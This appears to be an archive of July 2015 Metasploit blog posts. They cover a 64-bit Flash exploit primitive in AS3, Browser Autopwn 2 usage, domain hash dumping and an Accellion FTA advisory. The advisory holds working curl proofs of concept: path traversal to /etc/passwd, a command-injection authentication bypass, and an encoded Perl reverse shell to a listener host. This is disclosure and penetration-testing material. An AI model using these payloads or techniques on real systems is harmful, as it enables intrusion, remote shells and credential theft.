Skip navigation
All Places > Metasploit > Blog > 2015 > July

Some weeks ago, on More Flash Exploits in the Framework, we introduced the flash_exploiter library, which is used by Metasploit to quickly add new Flash exploit modules. If you read that blog entry, then you already know that flash_exploiter only supports 32-bit browsers (renderers). In this blog post, we will demonstrate initial steps in adding IE11 64-bit support to CVE-2015-5119 , which is one of the leaked Hacking Team vulnerabilities. Specifically, this post will target Windows 8.1 / IE 11 (64 bits) with Flash, so of course, the mitigations introduced by Flash do not apply here.


The flash_exploiter library abuses two AS3 classes in order to achieve exploitation: Vector.<uint> and ByteArray. Let's start by reviewing what can be done with these two objects in a 64-bit environment.




Vectors, specifically Vector.<uint>, have been widely abused on Flash exploits. This is because of how Vectors save their data, which is a ListData struct. It looks like this:


    template<class STORAGE, uint32_t slop>
    struct ListData
        uint32_t    len;            // Invariant: Must *never* exceed kListMaxLength
        MMgc::GC*   _gc;
        STORAGE     entries[1];     // Lying: Really holds capacity()


As we have long known, overwriting the "len" field allows an exploiter to achieve full memory read/write in a 32-bit process. However, this is not true with a 64-bit process. Since the length will still be 32-bit, only 4GB of memory after the Vector's data can be read and or written. Still, 4GB is still a lot of data to play with!




In order to achieve arbitrary memory read/write, a ByteArray can be really helpful within a 64-bit process. First, we need to review the layout of the ByteArray class:


    class ByteArray : public DataInput,
                      public DataOutput


        friend class ByteArrayTask;
        friend class ByteArrayObject;
        friend class ByteArraySetLengthTask;
        friend class ByteArraySwapBufferTask;
        friend class ByteArrayCompareAndSwapLengthTask;
        friend class ByteArrayClearTask;
        class Buffer : public FixedHeapRCObject
            virtual void destroy();
            virtual ~Buffer();
            uint8_t* array;
            uint32_t capacity;
            uint32_t length;


The interesting fields for exploitation are "array", "capacity" and "length". The "array" field points to the data buffer, the "capacity" stores the total space available in the data buffer, and the "length" field stores the used length. Note that length should be always less or equal than capacity. To achieve arbitrary memory read/write in a 64-bit process, the goal is to "massage" the memory in a way which a ByteArray object "metadata" is stored near (within 4GB after) a vector whose length is being corrupted.


We can then use the corrupted vector to find the ByteArray object and modify its "array" to point to an arbitrary location. Once overwritten, we can read or write the "capacity" bytes from the "array" pointer.


Assuming we have:


  1. a Vector.<uint> ("uv") with a corrupted length,
  2. a ByteArray ("ba") whose object is reachable from "uv",
  3. and the offset ("ba_pos") necessary to modify the ByteArray metadata from "uv"


The following AS3 code can be used to accomplish arbitrary memory read/write:


private var uv:Vector.<uint>
private var ba_pos:uint
private var ba:ByteArray

private function set_ba_array(ptr_lo:uint, ptr_hi:uint):void {
  uv[ba_pos] = ptr_lo
  uv[ba_pos + 1] = ptr_hi

private function ba_read(addr_lo:uint, addr_hi:uint):uint {
  set_ba_array(addr_lo, addr_hi)
  ba.position = 0
  return ba.readUnsignedInt()

private function ba_write(addr_lo:uint, addr_hi:uint, val:uint):void {
  set_ba_array(addr_lo, addr_hi)
  ba.position = 0


So far so good! With this strategy, we can start to exploit IE Metro, using the corrupted "uv" and "ba" to leak memory addresses:


Screen Shot 2015-07-29 at 3.14.15 PM.png


That's it for this first step in exploiting 64-bit browsers with Flash CVE-2015-5119. If you are interested in following the continuing progress of 64-bit Flash, please follow the github repository jvazquez-r7/CVE-2015-5119 · GitHub It will be updated with next steps!

Black Hat T-Shirts!

bh-tshirt-small.pngWell, it's a week or so until DEF CON 23, and since you're all busy prepping all your demos and presentations and panels and things, I figured I should remind you that among all your gear, you should probably toss some clothes in your bag before you head out the door. In case this slips your mind, though, don't sweat, we have you covered.


Pictured at right is the winning design from the annual Metasploit T-Shirt contest, submitted by LewisFX, lovingly rendered as 100% cotton and ready for Vegas.


So, if your conference experience is turning out like that high school stress dream where you have to stand in front of the class and you suddenly notice that you're nude, be sure to swing by our booth and pick one up before your speaking slot -- you're on your own for pants, though.


Thanks so much to all of this years' contestants -- you all have set quite a bar for next year's design goals!


DEF CON Shirts, Too!

By the way, this isn't the only shirt we're offering. We have another design put together for the DEF CON vendor room which celebrates our commitment to, and passion for, open source security software, pictured here:


Open Source is Magic!


We'll have a spot in the DEF CON vendor room where we'll be selling these insanely boss T-shirts to raise money for our buddies over at  the Electronic Frontier Foundation.


The EFF helps keep well-meaning security researchers like yours truly on the Internet and out of prison, and that can be an expensive job. If you love freedom, swing by and pick one up. You and your kids will love them. If you are a kid, you will love them twice as much.


A whole pile of Metasploit engineers will be staffing the table, just like last year, so you're likely to run into me (Tod Beardsley), Dave TheLightCosine Maloney, Trevor Rosen, and/or egypt, depending on what time of day you pop in. If you're a Metasploit contributor, say so, unless you don't want some near stranger fawning all over you for five minutes, gushing over how you're the reason why we show up to work most every day.


Thanks especially to our own community manager, Maria Varmazis, for her doodling of these critters. The security world needs more adorable cartoons, given our usual scruffy, devil-may-care stance on things. Also thanks to Marshall Kirk McKusick for blessing Maria's interpretation of the BSD Daemon (used with permission).


New Modules

With all the Black Hat / DEF CON / BSides prep, looks like we only have two new modules this week. The first, from long-time contributor Ramon de C Valle, is an implementation of the latest "OprahSSL" bug, where anyone can impersonate a CA authority, given a valid leaf certificate. Using this module can effectively demonstrate the risk posed by an unpatched OpenSSL client in your environment, but the set up can be a little tricky, given that it's a man-in-the-middle attack. You'll want to take a look at the original PR for the testing and implementation notes from Ramon and Juan.


The second is from resident post-exploitation artiste, OJ TheColonial Reeves, which implements the time-honored "sticky keys hack" as a post module. This is a fine mechanism to ensure that your first compromise of a target device is not your last, so long as you can get to an interactive login terminal. Handy!


As usual, you can see the full diffs between last week's Metasploit Framework and today via this compare view.


See you next week!


Auxiliary and post modules

Browser Autopwn Version 2


Hey all! If you haven't been following the Metasploit development over the last few weeks, you know that we've been pretty busy getting Browser Autopwn Version 2 (BAPv2) out the door and into Metasploit Framework. This project was, and is, driven by our own beloved Wei _sinn3r Chen, and it's one of those projects around here that I'm really personally very excited about.


If you want to jump into all the implementation details and history, I suggest bopping over to his pair of blog posts, Browser Autopwn v2 part 1 and part 2. It won't hurt my feelings. This update blog will be here when you get back.


The thing about Browser Autopwn is that it makes client-side attacks work nearly exactly as you'd see in the movies, or in a real, criminal campaign. With just a few keystrokes and minimal prep time, you can use this system as an endpoint for all sorts of penetration testing engagements. Check it out:


[*] Searching BES exploits, please wait...
[*] Starting exploit modules...
[*] Starting listeners...
[*] Time spent: 7.019844157


If you're familiar with the old Browser Autopwn, the absolute first thing you'll notice is that startup time is lickety-split quick: in less than 10 seconds and basically no configuration, you've got yourself a nice smorgasbord of exploits for multi-platform Firefox, some Android browsers, Flash plugins, and vanilla Internet Explorer. Of course, mixing up the exploit list is pretty easy these days too, so if you know you don't care about mobile -- or only care about mobile -- you can make that happen trivially through the many configurable options.


Thanks loads to sinn3r, Juan, and everyone out there in open source land that made this possible.


Welcome, Void_in!


Speaking of open source land, we have a brand new community committer on Metasploit Framework. Usually, when this kind of event happens, it's involving someone who's already a fixture around the framework, and it's sometimes surprising to learn they didn't have committer rights already. Void_in is no exception. If you've spent any time at all on the Metasploit Community message boards, you know that this dude is a freaking question answering, problem solving, confidence building machine. I suspect he literally might be a machine, given the amount of time he's selflessly volunteered on the project. He has limitless compassion and respect for newbies, both in the Metasploit sense and the security-in-general sense, and has been splitting time between the boards and the GitHub pull queue.


Void_in is a super helpful fellow, I'm excited to have him on board to make Metasploit that much better an experience for both old graybeards and fresh new penetration testers.


New Modules


This time around, we have nine new exploits, and seven new auxiliary modules for your next testing engagement. As usual, you can check the diff since the last wrapup blog post for the complete skinny on what's changed.


Exploit modules


Auxiliary and post modules

Hello again,


Welcome back! So yesterday we did an introduction about the brand new Browser Autopwn 2, if you have not read that, make sure to check it out. And today, let's talk about how to use it, what you can do with it for better vulnerability validation and penetration testing.


As we explained in the previous blog post, Browser Autopwn 2 is a complete redesign from the first one so quite a few things will look and feel different for you. Here are the things you should know before using:


Exploit URLs


First off, there is only URL you need to care about, and that's the BrowserAutoPwn URL in green (or yellow if you're on Pro). If you need to see each exploit's URL, you need to do set VERBOSE true, and there will be another column for it like the following example:


Screen Shot 2015-07-14 at 11.20.38 AM.png


The verbose option will also print more things when Browser Autopwn is in action. Hey, you asked for it :-)


Browser Autopwn Options


If you do "show options" or "show advanced" in msfconsole, you will see that Browser Autopwn 2 has these special options that other typical HttpServer modules don't have:


The HTMLContent option


The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a blank one. It supports two syntaxes:


set HTMLContent Hello world!


The above example will basically print "Hello world!" on the browser while exploits are tested against it. Here's another one:


set HTMLContent file://tmp/hello_world.html


The above example will load file /tmp/hello_world.html and that's what the browser will see. Most likely the second syntax is how you'd want to use the Content option.


Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise there is a possibility that it might actually influence the reliability of the exploits, especially the ones that do memory corruption.




The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser Autopwn 2 to use. This is a regex type option, you can be creative about this. For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with: "adobe_flash_", so to exclude those, you can do:


set EXCLUDE_PATTERN adobe_flash




The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use. Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do:


set INCLUDE_PATTERN adobe_flash


If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick in first, followed by EXCLUDE_PATTERN.


The MaxExploitCount option


The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load. By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits. Note that by doing so you are also allowing more lower ranking modules to kick in, you will have to figure out the sweet spot for it. An example of setting it:


set MaxExploitCount 30


The MaxSessionCount option


The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at first because why would you want to do that, right? Well, a use case for this is when you don't actually want to pop shells, instead you just want to know what exploits could be used, this is something you can try. You can also use this if you don't want your attack to stay open the whole time:


set MaxSessionCount 10


The ShowExploitList option


The ShowExploitList option means displaying a list of exploits specific to each browser/client. As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to the browser, only some of them. In order to see those ones, you need to set this option:


set ShowExploitList true


The AllowedAddresses option


The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration testing accidents. For example, when you send a malicious link to a specific person, that person may actually share it with his friends, family or other people, and those people aren't your targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to avoid that is to create a whitelist.


The option also supports two syntaxes. This is most likely how you will set it:


set AllowedAddresses file://tmp/ip_list.txt


The above will load file ip_list.txt. In that file, one IP per line.


The ExploitReloadTimeout option


The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit. By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this. In most cases, you shouldn't have to.


Here's an example of setting it to 5 seconds:


set ExploitReloadTimeout 5000




Application-Specific Testing


By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to test a specific application, basically all you need to do is setting the INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN).


However, there is another trick to make this task even easier. BAP2 also comes with the following resource scripts that can automatically do this:


  • bap_firefox_only.rc - For testing Firefox
  • bap_flash_only.rc - Fore testing Adobe Flash
  • bap_ie_only.rc - For testing Internet Explorer

Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities:

$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc 





So one of the use cases we've heard from people who do phishing or social engineering attacks is that they don't necessarily use exploits, they might trick people into clicking on a "malicious" link, and that takes the user to a security training website or whatever. But while doing this it would be nice to know what exploits could be used against each user, wouldn't it? With the new Browser Autopwn, you can do all this.


The solution for that is this new resource script: bap_dryrun_only.rc. It does a few things for you:



Here's an example of how it runs:


Screen Shot 2015-07-15 at 1.48.04 AM.png


Now, if I serve the BrowserAutoPwn URL to the client, they will see the rick-rolling video, which I'm sure will drive them crazy. And guess what? Rick Astley will never gonna give you up!


Screen Shot 2015-07-15 at 1.50.14 AM.png


On the attacker's side, you've already collected information about which browser exploits this user is possibly vulnerable to. Pretty nice, yeah?


Screen Shot 2015-07-15 at 1.50.45 AM.png




In addition, when a browser connects to BAP, this link-clicking event is also logged to the database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also save the exploit list information so that after testing you can go back to the database and see which users are vulnerable to what exploits.


Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than enough to prove that the user was social-engineered, which is still a security risk.


To see all the bap.clicks events, in msfconsole do:


notes -t bap.clicks


And here's an example of the list:


Screen Shot 2015-06-30 at 7.12.30 PM.png


From there, you can do additional analysis of these notes, put it on your report, and hopefully do something about it.


And that's all we have for today! I hope you like what you see :-)


Browser Autopwn 2 is Metasploit's new shiny weapon that reflects how hackers today carry out browser attacks against real targets, from amateur level to APT (Advanced Persistent Threat), which ultimately affects every user on the Internet both personally and financially. If you would like to give Browser Autopwn 2 a try to see how you can defend against it, it is now available in upstream master. As a framework user, you can get this by running the msfupdate utility. If you are a Metasploit Pro or Kali user, please keep an eye on the upcoming update. Any bug reports or feature requests, please submit them to Metasploit's Github repository. Any questions, please feel free to start a discussion on the Rapid7 Community. Or if you will be at Defcon 23, come by and say hi and let us know what you think how the future of Browser Autopwn should be :-)

Hi everyone,


Today, I'd like to debut a completely rewritten new cool toy for Metasploit: Browser Autopwn 2. Browser Autopwn is the easiest and quickest way to explicitly test browser vulnerabilities without having the user to painfully learn everything there is about each exploit and the remote target before deployment. In this blog post, I will provide an introduction on the tool. And then in my next one, I will explain how you can take advantage of it to maximize your vuln validation or penetration testing results.


The Origin of Browser Autopwn


Screen Shot 2015-06-30 at 2.31.50 AM.pngBefore we begin, allow me to talk about why we decided to recreate it. Originally, Browser Autopwn was written by our developer Egyp7 back in 2008. It all started off with how Egyp7 saw people were using browser exploits the wrong way. Typically, users would fire off one exploit at a time to do a real attack, but you shouldn't do that because in reality you'd probably run into users with different browsers on different platforms. If the only exploit you're using ends up being loaded by the wrong version of browser, your attack could be spoiled. What you need is some type of custom web server that automatically detects what the connected client is using, what platform it's on, and then serve the exploits accordingly. Or as Egyp7 put it: "you need the guided missile approach."


In 2009, the first Browser Autopwn was presented at Defcon 17.


The brain behind the new BAP: BrowserExploitServer


In 2013, I wanted to take this design even further and began some big changes. First off, I created the BrowserExploitServer mixin (or BES for short). Instead of having information gathering exclusive in Browser Autopwn, a standalone BES-powered browser exploit will always enforce it in order to avoid user errors. We also added some decent support for multi-platform plugin detections.


Exploit writers are also required to always specify exploitable requirements, such as the browser version (down to the build number when possible), platforms, plugin version, etc. The final result of doing all this allows a BES module to be smarter all the time: if you serve the exploit to a target that isn't exploitable or suitable, the module will figure this out on its own and refuse to attack.


Browser Autopwn 2


In 2015, I started rewriting Browser Autopwn. The new one relies on BES to gather browser information, and then it can share that info with the exploits it manages so they don't have to do it again. Some notable features include:




Since BAP2 doesn't need to worry about information gathering, I was able to spend more time on performance, module management and some visual experience. For performance, you will see a major boost compare to the old one. In my testing (2.7 GHz i7, 16GB DDR3, SSD, Ruby 2.1), the old one takes about 3 minutes to load and be ready. The new one is roughly 6 to 7 seconds. Exactly how fast your BAPv2 can get going also depends on your hardware, but this should give you an idea how fast it is now.


Better Module Management


I also took a very different approach with module management. Instead of manually maintaining a list of exploits to use for Browser Autopwn, there is no maintenance required. What BAP2 does is it will go through the entire exploit module tree, find all the ones powered by BrowserExploitServer, and then sort them based on the module ranking and disclosure date. In other words, the highest ranking and the newer exploits will be tried first. By default, 21 exploits are loaded, and this is user-configurable.


When a browser is connected to the Browser Autopwn server, obviously not all those 21 exploits will be served. Browser Autopwn will do an exploitable requirement check to find the ones suitable, and then give the browser a list of exploit URLs to try. Since these are sorted by ranking and date, the new Browser Autopwn has a much better first shot accuracy than before, so it pwns faster.


Exploit Content


Obviously, having good exploits is also an important part for the whole delivery system. You will see that out of the default 21, most of them are: Excellent, Great, and Good rankings around Android, Firefox, and Adobe Flash. And this default list will also tend to reflect what kind of exploits people are seeing in the wild. For example, this year we have seen a higher number of Adobe Flash attacks, you will see this pattern too with BAP2.


If you'd like read about our coverage on recent Adobe Flash, make sure to checkout More Flash Exploits in Framework written by our developer Juan Vazquez.


Visual Experience


The new Browser Autopwn 2 also gets a different looking interface. The goal is not to overload the user with information, so it uses a Rex table to tell you what exploits will be used and what payloads they will be using. As an user, this is pretty much all you care really. And then of course, at the bottom it tells you which URL to use for the attack.


Here's the new look of Browser Autopwn 2:


Screen Shot 2015-07-14 at 2.09.49 AM.png


If you'd like to try, BAP2 is now available upstream in the Metasploit Framework. Make sure to run msfupdate and you should have it. If you are a Pro or Kali user, you will soon have BAP2 in the upcoming update.


And finally, I'd like to thank these people for making BAPv2 even better and smarter: HD Moore, Juan Vazquez, James Lee, void-in, and mr_me.


For the next blog, I will talk about things like how to limit the scope of your attack (so it won't go wild like crazy and you hit the wrong people), how to test a specific browser, how to rick-roll and still collect exploitable information, etc. It will be fun. Stay tuned.


If you'd like learn about all the fun tricks you can do with Browser Autopwn 2, please read the next blog post.

This disclosure covers two issues discovered with the Accellion File Transfer Appliance, a device used for secure enterprise file transfers. Issue R7-2015-08.1 is a remote file disclosure vulnerability, and issue R7-2015-08.2 is remote command execution vulnerability. Metasploit modules have been released for both issues, as of Pull Request 5694.


According to the vendor, both issues were addressed in version FTA_9_11_210, released on May 25, 2015.


R7-2015-08.1: Accellion FTA 'statecode' Cookie Remote File Disclosure (CVE-2015-2856)


The Accellion FTA is vulnerable to a remote file disclosurevulnerability due to insufficient sanitization of the 'statecode' cookie. This cookie will be appended to a file path that is generated when PHP templates are processed. An attacker can disclose the contents of any file readable by the web server by specifying a 'statecode' cookie value consisting of "../../../../../" followed by an absolute file path and an encoded NULL byte (%00). The web server user account on the FTA has access to a number of sensitive files, including FTA configuration information, the MySQL root password, and any files uploaded the user if their filesystem path is known. Note that while uploaded use randomized file IDs, the path names are semi-predictable and the entire path can be brute forces given enough time.


This issue is present on version FTA_9_11_200 and likely all versions prior to this release as well.




The source of this vulnerability appears to be the template() function inside


    $branding_path = "custom_template/{$g_app_id}/";
    if ( $_COOKIE['statecode'] )
        $branding_path .= $_COOKIE['statecode']."/";
    // <snip>
    if ( $fd = @fopen( $branding_path.$t_file, "r" ) )
        $t_file = $branding_path.$t_file;


This vulnerability may also exist in the template_goto() function inside, however this route has not been verified.


Proof of Concept


An attacker can exploit this vulnerability using the standard curl utility:


$ curl -b 'statecode=../../../../../etc/passwd%00' -i https://<fta>/courier/intermediate_login.html


In addition, a Metasploit module has been released, accellion_fta_statecode_file_read.rb


R7-2015-08.2: Accellion FTA 'oauth_token' Remote Command Execution (CVE-2015-2857)


The Accellion FTA is vulnerable to a remote command execution vulnerability due to insufficient sanitization of the 'oauth_token' parameter. This parameter is passed into a system() command line through multiple mod_perl handlers. Although code execution occurs as the web user (nobody), this account has nearly complete access to the appliance due to how file permissions are configured by default. For example, the MySQL database password is stored in /home/filex1/db and this datasbase contains usernames, password hashes, LDAP credentials, event logs, and information about uploaded files. The web user also has access to all files uploaded to the appliance.


This issue is present on version FTA_9_11_200 and likely all versions prior to this release as well.




This vulnerability is present in 3 places within `/home/seos/api/Md/`, detailed below


The `get_oauth_customer_name()` function is called by the twsPut, Find, Put, and mPut handlers and passes an `oauth_token` directly to the command line.


sub get_oauth_customer_name
  my ($aid, $token) = @_;

  # SOAP Lite cannot work with mod perl? Call external script
  my $customer_name = `/opt/bin/perl /home/seos/system/ $aid oauth_ws.php get_consumer_name '$token'`;
  return $customer_name;
  # ...


The `verify_oauth_token()` function is called by the twsPut, twssetStatus, twsGet, twsgetStatus, Find, Put, and mPut handlers and passes an `oauth_token` directly to the command line.


sub verify_oauth_token
  my ($aid, $token, $scope) = @_;

  # SOAP Lite cannot work with mod perl? Call external script
  my $client_id = `/opt/bin/perl /home/seos/system/ $aid oauth_ws.php verify_access_token '$token' '$scope'`;
  return $client_id || 0;


The `gc_oauth_file_access()` function is called by the ckdf::AuthHandler, but this is unlikely to be exploitable, as email addresses are sanitized elsewhere first, and the call is made post authentication.


sub gc_oauth_file_access
  my ($aid, $user_email, $gc_fid) = @_;

  my $result = `/opt/bin/perl /home/seos/system/ $aid sclient_user_ws.php gc_oauth_file_access '$user_email' '$gc_fid'`;
  return $result =~ /^1$/ ? 1 : 0;


Proof of Concept


An attacker can exploit this vulnerability via the `/tws/getStatus` URL using the standard curl utility.


The first example abuses this vulnerability in order to bypass authentication:


$ curl -k -XPOST -d "transaction_id=1&oauth_token='%3becho '" https://<fta>/tws/getStatus


The second example abuses this vulnerability in order to return a command shell to


# Open a netcat listener on port 4444 from one terminal
$ nc -l 4444

# Send our exploit request from a second terminal
$ curl -k -XPOST -d "transaction_id=1&oauth_token=%27%3bperl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3bforeach%20my%20%24key%28keys%20%25ENV%29%7bif%28%24ENV%7b%24key%7d%3d~/%28.%2a%29/%29%7b%24ENV%7b%24key%7d%3d%241%3b%7d%7d%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22192.168.0.3%3a4444%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24~-%3efdopen%28%24c%2cw%29%3bwhile%28%3c%3e%29%7bif%28%24_%3d~%20/%28.%2a%29/%29%7bsystem%20%241%3b%7d%7d%3b%27%3becho%20%27" https://<fta>/tws/getStatus

# Interact with our shell
Connection from [fta] port 4444 [tcp/*] accepted (family 2, sport 48025)
uid=99(nobody) gid=99(nobody) groups=99(nobody)


In addition, a Metasploit module has been released, accellion_fta_getstatus_oauth.rb.




These issues were discovered and reported by HD Moore of Rapid7, Inc.


Disclosure Timeline


  • Mon, Apr 27, 2015: Vendor contacted
  • Fri, May 01, 2015: Initial advisory draft provided for R7-2015-08.1
  • Tue, May 05, 2015: Updated draft provided with R7-2015-08.2
  • Fri, May 08, 2015: Phone call with Accellion to discuss issues
  • Tue, May 26, 2015: Disclosure to CERT/CC, CVEs assigned
  • Fri, Jul 10, 2015: Public Disclosure and Metasploit modules released (PR 5694)

Hi everyone,


This January, we made an announcement about the deprecation of Msfcli, the command line interface version for Metasploit. Today we are ready to say good-bye to it. Instead of Msfcli, we recommend using the -x option in Msfconsole. For example, here's how you can run MS08-067 in one line:


./msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run"


You can also leverage things like resource scripts or even command alias to do less typing. Here's an example of how you would write a resource script to automate running MS08_067:


use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]


And then run it:


./msfconsole -r name_of_resource_script.rc


Another way to run a resource script if you're in msfconsole already:


msf > resource name_of_resource_script.rc


If you have any questions, please feel free to create a discussion on SecurityStreet, or e-mail us at msfdev[at] To submit a bug report or feature request, please go to Metasploit's Github repository. Thanks!

When You Wish Upon A Shell


Image from, which I totally need now
Back in February we ran a survey to figure out where you, the savvy penetration tester, would like to see Meterpreter go. As a result, we now have the Meterpreter Wishlist, and have been working steadily off of that for the last few months.


As of this week, we have a pile of accomplishments taken off the wishlist and committed as working code. You can read up on all the details over on the Meterpreter sub-wiki, but in the meantime, here are the headlines at a glance:


Lifetime Session Tracking: With the introduction of Payload UUIDs, you now have the ability to track over time whence a particular Meterpreter shell came from. This can be important when your compromised target moves around different networks, and reconnects back from different source addresses. It's also handy when you're on a team of pentesters, and you want to figure out whose shell is whose.


Multiple Transports and Fallbacks: If at first you don't SYN-ACK, SYN, SYN again. Meterpreter payloads now have some advanced transport control for falling back to other transports if the preferred one doesn't work or suddenly goes offline. While this used to be irritating, requiring a re-exploit of the target (which can be dicey with client-side exploits), Meterpreter sessions can now effectively ressurect themselves with some alternative routing. Also, these transports need not change just because of an interruption. If you have a friend with an appropriately configured payload listener, you can now easily just hand off your session to your friend's IP address and port. Nothing says "I love you," quite like a fresh shell.


Certificate Pinning: Combine a static certificate, a Payload UUID, and an appropriate reverse HTTPS payload, and you've got Meterpreter: Paranoid Mode. When used routinely, this strategy can prevent someone else from kidnapping your abandoned shells, or otherwise impersonating you, the valiant and just red-teamer.


There's also about a bazillion other small to medium improvements in there, so I encourage you to check out the current state of affairs over at the new(ish) metasploit-payloads repository. We're in the middle of phasing out the old(ish) meterpreter repository, so should make cross-compiling and cross-development of Meterpreter a lot easier moving forward. If you haven't already, feel free to clone the new repo and get hacking.


New Modules


On the heels of Juan's excellent overview of our current Flash exploit library, we've got another addition to the pile of Flash exploits. This one is for CVE-2015-3113 and CVE-2015-3043, since, as it turns out, CVE-2015-3113 has the same root cause as the earlier issue. Oops. We also have two new post modules that make snarfing some local data on Windows domain members easier -- combine these with the new hash dumping techniques discussed by Dave TheLightCosine earlier this week, and you've got yourself a stew!


Exploit modules


Auxiliary and post modules


As always, for a blow-by-blow on what's new since the last blog post, just see this comparison view.

UPDATE: It has been pointed out that there is prior work worth noting. This blog post by Damon Cortesi talked about using Volume Shadow Copy to get the SAM file back in 2005. As with all things in our Industry, we stand on the shoulders of those who came before us. We would certainly not want to take away from anyone else's previous work and accomplishments.


Dumping the stored password hashes from a live Domain Controller can be tricky. There are a number of things to consider, and there have been several approaches over the years. Some of these approaches have had glaring problems with them. We’ve recently changed all that. Before we talk about our new approach, let’s take a look at the history there.


LSASS Injection


The original way Metasploit dumped any Windows password hashes was through LSASS injection. LSASS(Local Security Authority Subsystem Service) is the service responsible for handling authentication and security policies on a Windows system. Meterpreter would inject into the lsass.exe process and scrape the password hashes directly out of process memory. This was effective but very dangerous. Injecting into LSASS could make the process unstable and could potentially crash it. If LSASS goes down in Windows, the whole system ends up in a bad state and will have to be rebooted to fix it. If you do this on a live Domain Controller, you are not just taking out authentication on that Domain Controller but potentially for the whole domain itself.  Metasploit moved away from this approach for workstations a long time ago, abandoning it for a Registry based approach in the Hashdump post module. This remained the de facto method for getting Domain hashes however.




The NTDS.dit file is the database for Active Directory. It is an Extensible Storage Engine(ESE) Database. This is a poorly documented format that is based on the Jet Database Engine. While a Domain Controller is running, NTDS.dit is of course locked. We need a way to get a copy of the file that is not locked. Several years ago there was an article on safely dumping domain hashes. It was written by Tim Tomes about research that he and Mark Baggett had done. Their technique abuses Volume Shadow Copy Service(VSS) to make a copy of the NTDS.dit file. They then used other tools to then parse the raw file itself. Their work, and ours was based heavily on the research of Csaba Barta published in this white paper.


Running Extraction Tools on the Victim


Once we have a copy of NTDS.dit we need to parse it. The approach used by tools like ntdsxtract is to parse the file itself. If we were to run tools like this on the victim, they will suck the whole file up in memory. Parse out the user accounts, and then dump them back out somewhere. The problem with these tools is that they can greedily suck up memory and CPU cycles on the machine. You can still end up pegging the CPU on the live Domain Controller. As a PenTester your client will not be too happy if you grind their DC to a halt. If you are doing a true Red Team type exercise, this also greatly increases the chance that you’ll get caught. There are definitely some issues with this approach as well.


Downloading NTDS.dit


Another option that people use, is to download the copy of the NTDS.dit file, and the pieces of the Registry that they will need to decrypt the stored hashes. They can then feed those pieces into offline tools on their own box, and not worry about consuming target resources. The glaring problem with this approach arises in larger organizations. NTDS.dit can grow to be GB in size. Transferring a file that big will take time. It is likely to attract notice, and if your connection to the target is lost in the middle, you have nothing usable for your trouble. This is still not an ideal scenario.


Meterpreter to the rescue!


Remember when I told you that NTDS.dit is an ESE Database? ESE is based on the Jet Engine. The Domain controller must have some way of accessing NTDS.dit that does not involve reading it as a raw file right? Well, every Windows system comes with the JetAPI. We can use the JetAPI to have Windows handle all the database parsing for us. We create a Jet Engine Instance, and attach it to our copy of the NTDS database. We can then step through the database and find the specific records for valid user accounts. This allows us to do all our parsing on the target, but without loading the entire file into memory at once.


When Meterpreter attaches to the database, it creates a Channel back to the Metasploit client. This channel acts as a pipe directly to the parser. Our client is then able to perform read operations on this channel. Every time a read operation is triggered, the parser will pull out up to 20 user accounts and send them back over the wire. Batching the accounts this way serves multiple purposes. It keeps our memory usage low as we only have 20 accounts loaded into memory at a time. It keeps our request/response windows somewhat efficient, which is important for HTTP based session transport. Most importantly, it means that we are pulling accounts in real time. If our connectivity is lost, or the session dies, we have not lost all progress. We still end up with the accounts we managed to get to at that point.



The User Accounts


The NTDS user account objects we get back contain a lot of information about those accounts. Let’s take a look at what we get from each account:


  • The Account Name (samAccountname)
  • The account Description
  • The Date and Time of the last time the account logged in
  • The Date and Time of the last time the account’s password was changed
  • The Date of when the current account password expires
  • If the Account is Disabled
  • If the Account is locked out
  • If the Account’s password has expired
  • If the Account’s password is set to never expire
  • The current NT and LM hashes for the account
  • The saved history of previous NT and LM hashes (up to 20 depending on AD settings)


Make a special note of that last one. Not only are we dumping the current NTLM hashes for each account. We’re dumping all the password hashes going back up to 20 previous passwords.  If you crack all of these hashes, you’ll be able to even do trending data on the passwords. Does a particular user just use the same password with an incrementing number? Well you’ll know what his next password is. Do you see “changeme123” or “summer2015” in a lot of user’s histories? Then you probably have the IT helpdesk’s password reset scheme. There are a lot of ways this historical data can benefit of a PenTester, and we won’t take the time to go into all of them here. Just use your imagination.


The current and historical hashes will be saved as NTLMHash Credential objects in the database. From here you can crack those hashes with Metasploit’s John the Ripper integration, using auxiliary/analyze/jtr_crack_fast. If you don’t want to crack them you can always use them for pass the hash attacks using our Bruteforcers/Psexec mdoules. Metasploit Pro users will be able to immediately use those credentials in the Credential Reuse part of the app, or the Pass the Hash Metamodule.



No longer will you have to reach for another tool when you get a session on a Domain Controller. Just reach for the new post module at post/windows/gather/credentials/domain_hashdump. It will take care of all the rest for you. Happy pwning!


[ETA] If you'd like a video explainer of how to safely dump Active Directory password hashes with Meterpreter, we have one right here:


Filter Blog

By date: By tag: